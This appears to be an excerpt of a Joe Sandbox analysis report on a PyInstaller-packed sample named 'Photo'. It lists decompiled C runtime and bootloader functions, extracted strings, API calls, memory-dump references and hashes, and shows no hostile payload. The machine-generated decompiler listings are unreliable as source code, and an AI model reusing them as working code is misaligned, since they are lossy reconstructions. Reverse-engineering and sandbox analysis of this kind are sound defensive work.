													_t85 = 0x41;
													__eflags = _t111 - _t85;
													if(_t111 == _t85) {
														goto L60;
													}
													_t65 = 0;
													goto L61;
												}
												__eflags = _t63;
												if(_t63 == 0) {
													goto L62;
												}
												goto L57;
											}
											_t132 = 0x41;
											__eflags = _t111 - _t132;
											if(_t111 == _t132) {
												goto L54;
											}
											_t63 = 0;
											goto L55;
										}
										goto L51;
									}
									_t87 = 0x58;
									__eflags = _t111 - _t87;
									if(_t111 != _t87) {
										goto L50;
									}
									goto L48;
								}
								_t89 = _t124 >> 6;
								__eflags = 1 & _t89;
								if((1 & _t89) == 0) {
									__eflags = 1 & _t124;
									if((1 & _t124) == 0) {
										_t91 = _t124 >> 1;
										__eflags = 1 & _t91;
										if((1 & _t91) == 0) {
											goto L46;
										}
										_v16 = _t126;
										L45:
										_t101 = 1;
										goto L46;
									}
									_push(0x2b);
									L40:
									_pop(_t92);
									_v16 = _t92;
									goto L45;
								}
								_push(0x2d);
								goto L40;
							}
							L11:
							_t57 = 0;
							goto L72;
						}
						_t94 = _t55;
						__eflags = _t94;
						if(__eflags == 0) {
							L28:
							_push(_t101);
							_push(0xa);
							L29:
							_t56 = E001DC45E(_t134, _t125, __eflags);
							goto L10;
						}
						__eflags = _t94 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t56 = E001DC63B(__ecx);
						goto L10;
					}
					__eflags = _t54 - 0x67;
					if(_t54 <= 0x67) {
						L30:
						_t56 = E001DC1C4(_t101, _t134);
						goto L10;
					}
					__eflags = _t54 - 0x69;
					if(_t54 == 0x69) {
						L27:
						_t3 = _t134 + 0x20;
						 *_t3 =  *(_t134 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L28;
					}
					__eflags = _t54 - 0x6e;
					if(_t54 == 0x6e) {
						_t56 = E001DC5A8(__ecx, _t123);
						goto L10;
					}
					__eflags = _t54 - 0x6f;
					if(_t54 != 0x6f) {
						goto L11;
					}
					_t56 = E001DC61C(__ecx);
					goto L10;
				}
				if(_t139 == 0) {
					goto L27;
				}
				_t140 = _t54 - _t105;
				if(_t140 > 0) {
					_t96 = _t54 - 0x5a;
					__eflags = _t96;
					if(_t96 == 0) {
						_t56 = E001DC007(__ecx);
						goto L10;
					}
					_t97 = _t96 - 7;
					__eflags = _t97;
					if(_t97 == 0) {
						goto L30;
					}
					__eflags = _t97;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t56 = E001DC3C6(_t134, __eflags, _t101);
					goto L10;
				}
				if(_t140 == 0) {
					_push(1);
					goto L13;
				}
				if(_t54 == _t123) {
					goto L30;
				}
				if(_t54 == 0x43) {
					goto L17;
				}
				if(_t54 <= 0x44) {
					goto L11;
				}
				if(_t54 <= 0x47) {
					goto L30;
				}
				if(_t54 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x001dbc9c
0x001dbca3
0x001dbca8
0x001dbcaa
0x001dbcae
0x001dbcb1
0x001dbcb5
0x001dbcb6
0x001dbcb9
0x001dbd26
0x001dbd29
0x001dbd78
0x001dbd78
0x001dbd7b
0x001dbce7
0x001dbce9
0x001dbcee
0x001dbcf0
0x001dbd96
0x001dbd99
0x001dbedf
0x001dbedf
0x001dbee1
0x001dbee8
0x001dbef0
0x001dbef0
0x001dbd9f
0x001dbda4
0x001dbda7
0x001dbdaa
0x001dbdae
0x001dbdb4
0x001dbdb5
0x001dbdb7
0x001dbde1
0x001dbde1
0x001dbde5
0x001dbde8
0x001dbdf2
0x001dbdf4
0x001dbdf7
0x001dbdf9
0x001dbdff
0x001dbdff
0x001dbe01
0x001dbe01
0x001dbe04
0x001dbe12
0x001dbe12
0x001dbe14
0x001dbe16
0x001dbe17
0x001dbe19
0x001dbe1f
0x001dbe21
0x001dbe22
0x001dbe27
0x001dbe2a
0x001dbe38
0x001dbe38
0x001dbe3a
0x001dbe3a
0x001dbe45
0x001dbe47
0x001dbe4c
0x001dbe4c
0x001dbe4f
0x001dbe55
0x001dbe57
0x001dbe5a
0x001dbe6a
0x001dbe6f
0x001dbe6f
0x001dbe84
0x001dbe89
0x001dbe8c
0x001dbe91
0x001dbe94
0x001dbe96
0x001dbe98
0x001dbe9b
0x001dbe9e
0x001dbeab
0x001dbeb0
0x001dbeb0
0x001dbe9e
0x001dbeb7
0x001dbebc
0x001dbebf
0x001dbec4
0x001dbec7
0x001dbec9
0x001dbed6
0x001dbedb
0x001dbec9
0x00000000
0x001dbede
0x001dbe2e
0x001dbe2f
0x001dbe32
0x00000000
0x00000000
0x001dbe34
0x00000000
0x001dbe34
0x001dbe1b
0x001dbe1d
0x00000000
0x00000000
0x00000000
0x001dbe1d
0x001dbe08
0x001dbe09
0x001dbe0c
0x00000000
0x00000000
0x001dbe0e
0x00000000
0x001dbe0e
0x00000000
0x001dbdfb
0x001dbdec
0x001dbded
0x001dbdf0
0x00000000
0x00000000
0x00000000
0x001dbdf0
0x001dbdbb
0x001dbdbe
0x001dbdc0
0x001dbdcb
0x001dbdcd
0x001dbdd5
0x001dbdd7
0x001dbdd9
0x00000000
0x00000000
0x001dbddb
0x001dbddf
0x001dbddf
0x00000000
0x001dbddf
0x001dbdcf
0x001dbdc4
0x001dbdc4
0x001dbdc5
0x00000000
0x001dbdc5
0x001dbdc2
0x00000000
0x001dbdc2
0x001dbcf6
0x001dbcf6
0x00000000
0x001dbcf6
0x001dbd82
0x001dbd82
0x001dbd85
0x001dbd57
0x001dbd57
0x001dbd58
0x001dbd5a
0x001dbd5c
0x00000000
0x001dbd5c
0x001dbd87
0x001dbd8a
0x00000000
0x00000000
0x001dbd90
0x001dbcff
0x001dbcff
0x00000000
0x001dbcff
0x001dbd2b
0x001dbd6e
0x00000000
0x001dbd6e
0x001dbd2d
0x001dbd30
0x001dbd63
0x001dbd65
0x00000000
0x001dbd65
0x001dbd32
0x001dbd35
0x001dbd53
0x001dbd53
0x001dbd53
0x001dbd53
0x00000000
0x001dbd53
0x001dbd37
0x001dbd3a
0x001dbd4c
0x00000000
0x001dbd4c
0x001dbd3c
0x001dbd3f
0x00000000
0x00000000
0x001dbd43
0x00000000
0x001dbd43
0x001dbcbb
0x00000000
0x00000000
0x001dbcc1
0x001dbcc3
0x001dbd03
0x001dbd03
0x001dbd06
0x001dbd1f
0x00000000
0x001dbd1f
0x001dbd08
0x001dbd08
0x001dbd0b
0x00000000
0x00000000
0x001dbd0e
0x001dbd11
0x00000000
0x00000000
0x001dbd13
0x001dbd16
0x00000000
0x001dbd16
0x001dbcc5
0x001dbcfd
0x00000000
0x001dbcfd
0x001dbcc9
0x00000000
0x00000000
0x001dbcd2
0x00000000
0x00000000
0x001dbcd7
0x00000000
0x00000000
0x001dbcdc
0x00000000
0x00000000
0x001dbce5
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d0ed5468c9def2980373b4d7378cd5fb328acd53f308da6a444997660442dfe
Instruction ID: c456ce6d259a2d72f19e3c70d0cf2be0b6f8d94f69b7547aef6f575a4f4114e9
Opcode Fuzzy Hash: 9d0ed5468c9def2980373b4d7378cd5fb328acd53f308da6a444997660442dfe
Instruction Fuzzy Hash: 4F61767260CB09D2DE389AAC89D2BFE2386EB51744F53091BE943CB381DB11ED42C355

Uniqueness

Uniqueness Score: -1.00%

Function 001D6BC0 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f81f5201bb585d97cd057ffc33f7011271a264fdcea814797d16a0fa3b907fb4
Instruction ID: cbbb35fb2b86829f36ce7c2d2de418fd326ca76074c37e8328bb86bbc331d00b
Opcode Fuzzy Hash: f81f5201bb585d97cd057ffc33f7011271a264fdcea814797d16a0fa3b907fb4
Instruction Fuzzy Hash: 2571C4757201619FE704CF29ECD083A73A2F78E301396462EEA81C7795C639E966D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 001D3800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 175COMMON

Download Yara Rule

Strings

Failed to convert progname to wchar_t, xrefs: 001D3828
Failed to convert pypath to wchar_t, xrefs: 001D3993
Failed to convert pypath to ANSI (invalid multibyte string), xrefs: 001D39ED
base_library.zip, xrefs: 001D392F
Failed to convert pyhome to ANSI (invalid multibyte string), xrefs: 001D388C
Error detected starting Python VM., xrefs: 001D3A2B
Failed to convert pyhome to wchar_t, xrefs: 001D38BC

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID: Error detected starting Python VM.$Failed to convert progname to wchar_t$Failed to convert pyhome to ANSI (invalid multibyte string)$Failed to convert pyhome to wchar_t$Failed to convert pypath to ANSI (invalid multibyte string)$Failed to convert pypath to wchar_t$base_library.zip
API String ID: 0-2015557673
Opcode ID: 73bd45aa8248944a8107c038c718a8401438316a820949493e80770fd6de603f
Instruction ID: 54d9b0f9746f8ca15893edeb03cf49d771fc605c8125a939724a65bdeeb2f44e
Opcode Fuzzy Hash: 73bd45aa8248944a8107c038c718a8401438316a820949493e80770fd6de603f
Instruction Fuzzy Hash: 96513575B40308B6EA1067687D1BBB632106BB17A9F040233F967623D3FBD19668D1A3

Uniqueness

Uniqueness Score: -1.00%

Function 001D3160 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 143COMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 001D325D

Strings

Failed to encode _MEIPASS as ANSI., xrefs: 001D3189
loads, xrefs: 001D3217
strict, xrefs: 001D31C7
Failed to get _MEIPASS as PyObject., xrefs: 001D31E4
mod is NULL - %s, xrefs: 001D32BE
marshal, xrefs: 001D3205
utf-8, xrefs: 001D31CE
_MEIPASS, xrefs: 001D31FA

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: htonl
String ID: Failed to encode _MEIPASS as ANSI.$Failed to get _MEIPASS as PyObject.$_MEIPASS$loads$marshal$mod is NULL - %s$strict$utf-8
API String ID: 2009864989-2184277183
Opcode ID: 8ddd9f0760a4fd9ed5d6aa818a1b5063328f66ffe1ac7f3b090b00086ecd7959
Instruction ID: b8d090b8b0f682215e19511e6f423dd952e43a55ffdca8a6a23178f4831746c6
Opcode Fuzzy Hash: 8ddd9f0760a4fd9ed5d6aa818a1b5063328f66ffe1ac7f3b090b00086ecd7959
Instruction Fuzzy Hash: 3C415A73A40205BBC7106BB8AD4AAB7776CBF51326F040623F916D2342E7A5A654C2F3

Uniqueness

Uniqueness Score: -1.00%

Function 001D2260 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 150COMMON

Download Yara Rule

Strings

Name exceeds PATH_MAX, xrefs: 001D243E
Could not get __main__ module., xrefs: 001D229A
__file__, xrefs: 001D2385
__main__, xrefs: 001D2281
Failed to unmarshal code object for %s, xrefs: 001D2426
Could not get __main__ module's dict., xrefs: 001D22D3
Failed to execute script %s, xrefs: 001D2410
.py, xrefs: 001D2363

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID: .py$Could not get __main__ module's dict.$Could not get __main__ module.$Failed to execute script %s$Failed to unmarshal code object for %s$Name exceeds PATH_MAX$__file__$__main__
API String ID: 0-4082989238
Opcode ID: 892f726bbd3fedf77472ed25ec727476a4084e02e9a4e88693beb6c06333dce7
Instruction ID: c2f50928017fbc84966a21260469c19e781539499a85a135aa8348aa0dc961f9
Opcode Fuzzy Hash: 892f726bbd3fedf77472ed25ec727476a4084e02e9a4e88693beb6c06333dce7
Instruction Fuzzy Hash: 1B417971404245BBDB109F24EC4697B7794BF68354F000A26F86A83393EB79E549CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 001D3310 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 100COMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 001D3331

Strings

strict, xrefs: 001D33D7
Failed to append to sys.path, xrefs: 001D3417
%s?%d, xrefs: 001D3376
Installing PYZ: Could not get sys.path, xrefs: 001D33AB
path, xrefs: 001D3399
utf-8, xrefs: 001D33DE
%U?%d, xrefs: 001D33EF
Failed to convert %s to ShortFileName, xrefs: 001D335F

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: htonl
String ID: %U?%d$%s?%d$Failed to append to sys.path$Failed to convert %s to ShortFileName$Installing PYZ: Could not get sys.path$path$strict$utf-8
API String ID: 2009864989-475945972
Opcode ID: 7c4e9e702b6f8d003b579c28a12d8a532ca39f88289b656d240e281f6bb11320
Instruction ID: e317cbea39e3fd2304a11028ae75e60f4cf90bd3bb754bb07f7d4e8c42d2dc6f
Opcode Fuzzy Hash: 7c4e9e702b6f8d003b579c28a12d8a532ca39f88289b656d240e281f6bb11320
Instruction Fuzzy Hash: 53312975501309BBC700AB60AE49A77BB98FF92355F090022F919A7312E765AA94C7F3

Uniqueness

Uniqueness Score: -1.00%

Function 001ED15A Relevance: 10.8, APIs: 7, Instructions: 268
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E001ED15A(int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, int _a20, char* _a24, int _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				short* _v32;
				int _v36;
				char* _v40;
				int _v44;
				intOrPtr _v48;
				void* _v60;
				signed int _t63;
				short* _t68;
				int _t69;
				signed int _t71;
				short* _t72;
				signed int _t75;
				short* _t85;
				int _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				signed int _t107;
				char* _t109;
				char* _t110;
				void* _t115;
				void* _t116;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr* _t120;
				short* _t122;
				int _t124;
				int _t126;
				short* _t127;
				intOrPtr* _t128;
				signed int _t129;
				short* _t130;

				_t63 =  *0x1fc008; // 0x369f4a24
				_v8 = _t63 ^ _t129;
				_t124 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t67 = _a24;
				_v40 = _a24;
				_t120 = _a16;
				_v36 = _t120;
				if(_t124 <= 0) {
					if(_t124 >= 0xffffffff) {
						goto L2;
					} else {
						goto L5;
					}
				} else {
					_t124 = E001ECB73(_t120, _t124);
					_t67 = _v40;
					L2:
					_t93 = _a28;
					if(_t93 <= 0) {
						if(_t93 < 0xffffffff) {
							goto L5;
						} else {
							goto L7;
						}
					} else {
						_t93 = E001ECB73(_t67, _t93);
						L7:
						_t69 = _a32;
						if(_t69 == 0) {
							_t69 =  *( *_v44 + 8);
							_a32 = _t69;
						}
						if(_t124 == 0 || _t93 == 0) {
							if(_t124 != _t93) {
								if(_t93 <= 1) {
									if(_t124 <= 1) {
										if(GetCPInfo(_t69,  &_v28) == 0) {
											goto L5;
										} else {
											if(_t124 <= 0) {
												if(_t93 <= 0) {
													goto L36;
												} else {
													_t68 = 2;
													if(_v28 >= _t68) {
														_t109 =  &_v22;
														if(_v22 != 0) {
															_t128 = _v40;
															while(1) {
																_t117 =  *((intOrPtr*)(_t109 + 1));
																if(_t117 == 0) {
																	goto L15;
																}
																_t96 =  *_t128;
																if(_t96 <  *_t109 || _t96 > _t117) {
																	_t109 = _t109 + _t68;
																	if( *_t109 != 0) {
																		continue;
																	} else {
																		goto L15;
																	}
																}
																goto L63;
															}
														}
													}
													goto L15;
												}
											} else {
												_t68 = 2;
												if(_v28 >= _t68) {
													_t110 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t118 =  *((intOrPtr*)(_t110 + 1));
															if(_t118 == 0) {
																goto L17;
															}
															_t97 =  *_t120;
															if(_t97 <  *_t110 || _t97 > _t118) {
																_t110 = _t110 + _t68;
																if( *_t110 != 0) {
																	continue;
																} else {
																	goto L17;
																}
															}
															goto L63;
														}
													}
												}
												goto L17;
											}
										}
									} else {
										L17:
										_push(3);
										goto L13;
									}
								} else {
									L15:
									_t68 = 1;
								}
							} else {
								_push(2);
								L13:
								_pop(_t68);
							}
						} else {
							L36:
							_t122 = 0;
							_t71 = MultiByteToWideChar(_a32, 9, _v36, _t124, 0, 0);
							_v44 = _t71;
							if(_t71 == 0) {
								L5:
								_t68 = 0;
							} else {
								_t115 = _t71 + _t71;
								asm("sbb eax, eax");
								if((_t115 + 0x00000008 & _t71) == 0) {
									_t72 = 0;
									_v32 = 0;
									goto L45;
								} else {
									asm("sbb eax, eax");
									_t83 = _t71 & _t115 + 0x00000008;
									_t107 = _t115 + 8;
									if((_t71 & _t115 + 0x00000008) > 0x400) {
										asm("sbb eax, eax");
										_t85 = E001E0964(_t107, _t83 & _t107);
										_v32 = _t85;
										if(_t85 == 0) {
											goto L61;
										} else {
											 *_t85 = 0xdddd;
											goto L43;
										}
									} else {
										asm("sbb eax, eax");
										E001EF360();
										_t85 = _t130;
										_v32 = _t85;
										if(_t85 == 0) {
											L61:
											_t95 = _v32;
										} else {
											 *_t85 = 0xcccc;
											L43:
											_t72 =  &(_t85[4]);
											_v32 = _t72;
											L45:
											if(_t72 == 0) {
												goto L61;
											} else {
												_t126 = _a32;
												if(MultiByteToWideChar(_t126, 1, _v36, _t124, _t72, _v44) == 0) {
													goto L61;
												} else {
													_t75 = MultiByteToWideChar(_t126, 9, _v40, _t93, _t122, _t122);
													_v36 = _t75;
													if(_t75 == 0) {
														goto L61;
													} else {
														_t116 = _t75 + _t75;
														_t103 = _t116 + 8;
														asm("sbb eax, eax");
														if((_t116 + 0x00000008 & _t75) == 0) {
															_t127 = _t122;
															goto L56;
														} else {
															asm("sbb eax, eax");
															_t79 = _t75 & _t116 + 0x00000008;
															_t103 = _t116 + 8;
															if((_t75 & _t116 + 0x00000008) > 0x400) {
																asm("sbb eax, eax");
																_t127 = E001E0964(_t103, _t79 & _t103);
																_pop(_t103);
																if(_t127 == 0) {
																	goto L59;
																} else {
																	 *_t127 = 0xdddd;
																	goto L54;
																}
															} else {
																asm("sbb eax, eax");
																E001EF360();
																_t127 = _t130;
																if(_t127 == 0) {
																	L59:
																	_t95 = _v32;
																} else {
																	 *_t127 = 0xcccc;
																	L54:
																	_t127 =  &(_t127[4]);
																	L56:
																	if(_t127 == 0 || MultiByteToWideChar(_a32, 1, _v40, _t93, _t127, _v36) == 0) {
																		goto L59;
																	} else {
																		_t95 = _v32;
																		_t122 = E001E35F3(_t103, _v48, _a12, _v32, _v44, _t127, _v36, _t122, _t122, _t122);
																	}
																}
															}
														}
														E001E8238(_t127);
													}
												}
											}
										}
									}
								}
								E001E8238(_t95);
								_t68 = _t122;
							}
						}
					}
				}
				L63:
				E001D7760();
				return _t68;
			}

0x001ed162
0x001ed169
0x001ed171
0x001ed174
0x001ed17a
0x001ed17d
0x001ed180
0x001ed184
0x001ed187
0x001ed18c
0x001ed1b3
0x00000000
0x00000000
0x00000000
0x00000000
0x001ed18e
0x001ed196
0x001ed198
0x001ed19c
0x001ed19c
0x001ed1a1
0x001ed1bf
0x00000000
0x00000000
0x00000000
0x00000000
0x001ed1a3
0x001ed1ac
0x001ed1c1
0x001ed1c1
0x001ed1c6
0x001ed1cd
0x001ed1d0
0x001ed1d0
0x001ed1d5
0x001ed1e1
0x001ed1ee
0x001ed1fb
0x001ed20e
0x00000000
0x001ed210
0x001ed212
0x001ed245
0x00000000
0x001ed247
0x001ed249
0x001ed24d
0x001ed253
0x001ed256
0x001ed258
0x001ed25b
0x001ed25b
0x001ed260
0x00000000
0x00000000
0x001ed262
0x001ed266
0x001ed270
0x001ed275
0x00000000
0x001ed277
0x00000000
0x001ed277
0x001ed275
0x00000000
0x001ed266
0x001ed25b
0x001ed256
0x00000000
0x001ed24d
0x001ed214
0x001ed216
0x001ed21a
0x001ed220
0x001ed223
0x001ed225
0x001ed225
0x001ed22a
0x00000000
0x00000000
0x001ed22c
0x001ed230
0x001ed23a
0x001ed23f
0x00000000
0x001ed241
0x00000000
0x001ed241
0x001ed23f
0x00000000
0x001ed230
0x001ed225
0x001ed223
0x00000000
0x001ed21a
0x001ed212
0x001ed1fd
0x001ed1fd
0x001ed1fd
0x00000000
0x001ed1fd
0x001ed1f0
0x001ed1f0
0x001ed1f2
0x001ed1f2
0x001ed1e3
0x001ed1e3
0x001ed1e5
0x001ed1e5
0x001ed1e5
0x001ed27c
0x001ed27c
0x001ed27c
0x001ed289
0x001ed28f
0x001ed294
0x001ed1b5
0x001ed1b5
0x001ed29a
0x001ed29a
0x001ed2a2
0x001ed2a6
0x001ed301
0x001ed303
0x00000000
0x001ed2a8
0x001ed2ad
0x001ed2af
0x001ed2b1
0x001ed2b9
0x001ed2dd
0x001ed2e2
0x001ed2e7
0x001ed2ed
0x00000000
0x001ed2f3
0x001ed2f3
0x00000000
0x001ed2f3
0x001ed2bb
0x001ed2bd
0x001ed2c1
0x001ed2c6
0x001ed2c8
0x001ed2cd
0x001ed3e2
0x001ed3e2
0x001ed2d3
0x001ed2d3
0x001ed2f9
0x001ed2f9
0x001ed2fc
0x001ed306
0x001ed308
0x00000000
0x001ed30e
0x001ed316
0x001ed324
0x00000000
0x001ed32a
0x001ed333
0x001ed339
0x001ed33e
0x00000000
0x001ed344
0x001ed344
0x001ed347
0x001ed34c
0x001ed350
0x001ed39c
0x00000000
0x001ed352
0x001ed357
0x001ed359
0x001ed35b
0x001ed363
0x001ed380
0x001ed38a
0x001ed38c
0x001ed38f
0x00000000
0x001ed391
0x001ed391
0x00000000
0x001ed391
0x001ed365
0x001ed367
0x001ed36b
0x001ed370
0x001ed374
0x001ed3d6
0x001ed3d6
0x001ed376
0x001ed376
0x001ed397
0x001ed397
0x001ed39e
0x001ed3a0
0x00000000
0x001ed3b9
0x001ed3b9
0x001ed3d2
0x001ed3d2
0x001ed3a0
0x001ed374
0x001ed363
0x001ed3da
0x001ed3df
0x001ed33e
0x001ed324
0x001ed308
0x001ed2cd
0x001ed2b9
0x001ed3e6
0x001ed3ec
0x001ed3ec
0x001ed294
0x001ed1d5
0x001ed1a1
0x001ed3ee
0x001ed3f9
0x001ed401

APIs

GetCPInfo.KERNEL32(00000000,00000001,00000000,7FFFFFFF,?,?,001ED433,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 001ED206
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,001ED433,00000000,00000000,00000000,00000001,?,?,?,?), ref: 001ED289
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,001ED433,?,001ED433,00000000,00000000,00000000,00000001,?,?,?,?), ref: 001ED31C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,001ED433,00000000,00000000,00000000,00000001,?,?,?,?), ref: 001ED333

Part of subcall function 001E0964: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,001E81BF,00000000,?,001E0B60,?,00000008,?,001E3D50,?,?,?), ref: 001E0996

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,001ED433,00000000,00000000,00000000,00000001,?,?,?,?), ref: 001ED3AF
__freea.LIBCMT ref: 001ED3DA
__freea.LIBCMT ref: 001ED3E6

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: a5f0d2b7307d8aaf01f128e81e86c4b7e9375177992aa712e82e5d0b6a9bb23f
Instruction ID: 26be8edf9482d17303e7fa9ee0102a2db56f49688b07545171e7c976a4693983
Opcode Fuzzy Hash: a5f0d2b7307d8aaf01f128e81e86c4b7e9375177992aa712e82e5d0b6a9bb23f
Instruction Fuzzy Hash: D791D2B1E00A8A9BDF248F66EC81AFE7BB5AF19350F180159E901E7181D735DC80C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 001E2917 Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E001E2917(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t93;
				long _t96;
				void _t104;
				void* _t111;
				signed int _t115;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t136;
				signed int _t138;
				void* _t139;

				_t78 =  *0x1fc008; // 0x369f4a24
				_v8 = _t78 ^ _t138;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x20a118 + _t118 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t136 = _a4;
				_v60 = _t86;
				 *_t136 = 0;
				 *((intOrPtr*)(_t136 + 4)) = 0;
